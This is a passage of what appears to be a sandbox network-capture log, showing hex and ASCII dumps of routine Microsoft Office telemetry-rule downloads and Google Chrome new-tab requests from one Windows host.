2024-11-13 13:41:16 UTC	687	IN	Data Raw: 62 6c 61 63 6b 20 6f 70 73 20 7a 6f 6d 62 69 65 73 20 65 61 73 74 65 72 20 65 67 67 73 22 2c 22 75 72 61 6e 75 73 20 76 6f 79 61 67 65 72 22 2c 22 74 65 63 68 20 77 6f 72 6b 65 72 73 20 67 75 69 6c 64 20 73 74 72 69 6b 65 22 2c 22 74 72 6f 70 69 63 61 6c 20 73 74 6f 72 6d 20 73 61 72 61 20 66 6c 6f 72 69 64 61 22 2c 22 61 70 70 72 6f 61 63 68 20 72 35 30 20 67 6f 6c 66 20 73 69 6d 75 6c 61 74 6f 72 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 Data Ascii: black ops zombies easter eggs","uranus voyager","tech workers guild strike","tropical storm sara florida","approach r50 golf simulator"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpb
2024-11-13 13:41:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.7	49725	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:16 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:16 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:16 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 6bd3c087-001e-000b-13fd-2c15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134116Z-16547b76f7fwvr5dhC1DFW2c940000000h4g000000007h6c x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:16 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.7	49723	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:16 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:16 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:16 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 183719b9-d01e-00a1-43c3-2c35b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134116Z-16547b76f7fknvdnhC1DFWxnys0000000h4000000000hsvc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:16 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.7	49724	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:16 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:16 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:16 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: f6249f53-a01e-0053-16a5-348603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134116Z-r178fb8d7654njfdhC1DFWd04800000000y000000000fesp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:16 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	49722	172.217.18.4	443	7752	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:16 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlKHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-13 13:41:16 UTC	1042	IN	HTTP/1.1 200 OK Version: 694010790 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 13 Nov 2024 13:41:16 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-13 13:41:16 UTC	336	IN	Data Raw: 32 32 39 61 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 229a)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-13 13:41:16 UTC	1378	IN	Data Raw: 20 67 62 5f 6f 64 20 67 62 5f 46 64 20 67 62 5f 6c 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-11-13 13:41:16 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\
2024-11-13 13:41:16 UTC	1378	IN	Data Raw: 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 20 20 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 32 2e 32 39 2c 31 38 2e 33 37 61 32 2c 32 2c 30 2c 30 2c 30 2c 30 2d 2e 32 34 2c 34 2e 33 2c 34 2e 33 2c 30 2c 30 2c 30 2d 2e 30 39 2d 2e 34 37 63 2d 2e 30 35 2d 2e 31 Data Ascii: role\u003d\"button\" tabindex\u003d\"0\"\u003e \u003csvg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 0 24 24\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M22.29,18.37a2,2,0,0,0,0-.24,4.3,4.3,0,0,0-.09-.47c-.05-.1
2024-11-13 13:41:16 UTC	1378	IN	Data Raw: 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 20 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 49 20 67 62 5f 62 64 20 67 62 5f 5a 5c 22 20 64 61 74 61 2d 6f 67 73 72 2d 66 62 5c 75 30 30 33 64 5c 22 74 72 75 65 5c 22 20 64 61 74 61 2d 6f 67 73 72 2d 61 6c 74 5c 75 30 30 33 64 5c 22 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 77 61 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 43 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 61 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 41 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 47 6f 6f 67 6c 65 20 61 70 70 73 5c 22 20 68 72 65 66 5c 75 30 30 33 64 5c Data Ascii: u003c\/div\u003e \u003c\/div\u003e \u003cdiv class\u003d\"gb_I gb_bd gb_Z\" data-ogsr-fb\u003d\"true\" data-ogsr-alt\u003d\"\" id\u003d\"gbwa\"\u003e\u003cdiv class\u003d\"gb_C\"\u003e\u003ca class\u003d\"gb_A\" aria-label\u003d\"Google apps\" href\u003d\
2024-11-13 13:41:16 UTC	1378	IN	Data Raw: 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 20 67 62 5f 6f 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 68 65 61 64 65 72 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 51 63 20 67 62 5f 4f 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 31 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 42 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 43 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 61 20 63 6c Data Ascii: \u003c\/div\u003e\u003cdiv class\u003d\"gb_a gb_od\"\u003e\u003c\/div\u003e\u003c\/header\u003e\u003cdiv class\u003d\"gb_Qc gb_Oc\"\u003e\u003cdiv class\u003d\"gb_1c\"\u003e\u003cdiv class\u003d\"gb_Bc\"\u003e\u003cdiv class\u003d\"gb_Cc\"\u003e\u003ca cl
2024-11-13 13:41:16 UTC	1378	IN	Data Raw: 72 79 7b 5c 6e 76 61 72 20 44 64 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 5c 22 2e 67 62 5f 49 20 2e 67 62 5f 41 5c 22 29 2c 45 64 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 5c 22 23 67 62 2e 67 62 5f 52 63 5c 22 29 3b 44 64 5c 75 30 30 32 36 5c 75 30 30 32 36 21 45 64 5c 75 30 30 32 36 5c 75 30 30 32 36 5f 2e 43 64 28 5f 2e 6d 64 2c 44 64 2c 5c 22 63 6c 69 63 6b 5c 22 29 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 5f 2e 46 64 5c 75 30 30 33 64 74 79 70 65 6f 66 20 41 73 79 6e 63 43 6f 6e 74 65 78 74 21 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 75 6e 64 65 66 69 6e 65 64 5c 22 5c 75 30 30 Data Ascii: ry{\nvar Dd\u003ddocument.querySelector(\".gb_I .gb_A\"),Ed\u003ddocument.querySelector(\"#gb.gb_Rc\");Dd\u0026\u0026!Ed\u0026\u0026_.Cd(_.md,Dd,\"click\");\n}catch(e){_._DumpException(e)}\ntry{\n_.Fd\u003dtypeof AsyncContext!\u003d\u003d\"undefined\"\u00
2024-11-13 13:41:16 UTC	262	IN	Data Raw: 51 64 28 5f 2e 4d 64 3f 5f 2e 4d 64 2e 65 6d 70 74 79 48 54 4d 4c 3a 5c 22 5c 22 29 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 76 61 72 20 56 64 2c 69 65 2c 55 64 2c 57 64 2c 61 65 3b 5f 2e 53 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 61 3a 4e 75 6d 62 65 72 2e 69 73 46 69 6e 69 74 65 28 61 29 3f 61 7c 30 3a 76 6f 69 64 20 30 7d 3b 5f 2e 54 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 29 72 65 74 75 72 6e 20 61 3b 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 Data Ascii: Qd(_.Md?_.Md.emptyHTML:\"\");\n}catch(e){_._DumpException(e)}\ntry{\nvar Vd,ie,Ud,Wd,ae;_.Sd\u003dfunction(a){return a\u003d\u003dnull?a:Number.isFinite(a)?a\|0:void 0};_.Td\u003dfunction(a){if(a\u003d\u003dnull)return a;if(typeof a\u003d\u003d\u003d\"stri
2024-11-13 13:41:16 UTC	427	IN	Data Raw: 31 61 34 0d 0a 7b 69 66 28 21 61 29 72 65 74 75 72 6e 3b 61 5c 75 30 30 33 64 2b 61 7d 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 29 72 65 74 75 72 6e 20 4e 75 6d 62 65 72 2e 69 73 46 69 6e 69 74 65 28 61 29 3f 61 7c 30 3a 76 6f 69 64 20 30 7d 3b 56 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 65 74 20 61 5c 75 30 30 33 64 6e 75 6c 6c 3b 69 66 28 21 55 64 29 72 65 74 75 72 6e 20 61 3b 74 72 79 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 63 5c 75 30 30 33 64 5c 75 30 30 33 65 63 3b 61 5c 75 30 30 33 64 55 64 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 28 5c 22 6f 67 62 2d 71 74 6d 23 68 74 6d 6c 5c 22 2c 7b 63 72 65 61 74 65 48 54 4d 4c 3a 62 2c 63 72 65 61 74 65 53 63 72 69 70 Data Ascii: 1a4{if(!a)return;a\u003d+a}if(typeof a\u003d\u003d\u003d\"number\")return Number.isFinite(a)?a\|0:void 0};Vd\u003dfunction(){let a\u003dnull;if(!Ud)return a;try{const b\u003dc\u003d\u003ec;a\u003dUd.createPolicy(\"ogb-qtm#html\",{createHTML:b,createScrip
2024-11-13 13:41:16 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 28 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 59 64 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 59 64 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 62 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 65 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 63 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4e 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4e 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 Data Ascii: 8000();return new _.Yd(b?b.createScriptURL(a):a)};_.$d\u003dfunction(a){if(a instanceof _.Yd)return a.i;throw Error(\"F\");};_.be\u003dfunction(a){if(ae.test(a))return a};_.ce\u003dfunction(a){if(a instanceof _.Nd)if(a instanceof _.Nd)a\u003da.i;else th

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.7	49727	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:16 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:16 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:16 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 63ea3643-901e-0015-3101-2db284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134116Z-16547b76f7fkj7j4hC1DFW0a9g0000000h800000000054dx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:16 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	49726	172.217.18.4	443	7752	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:16 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
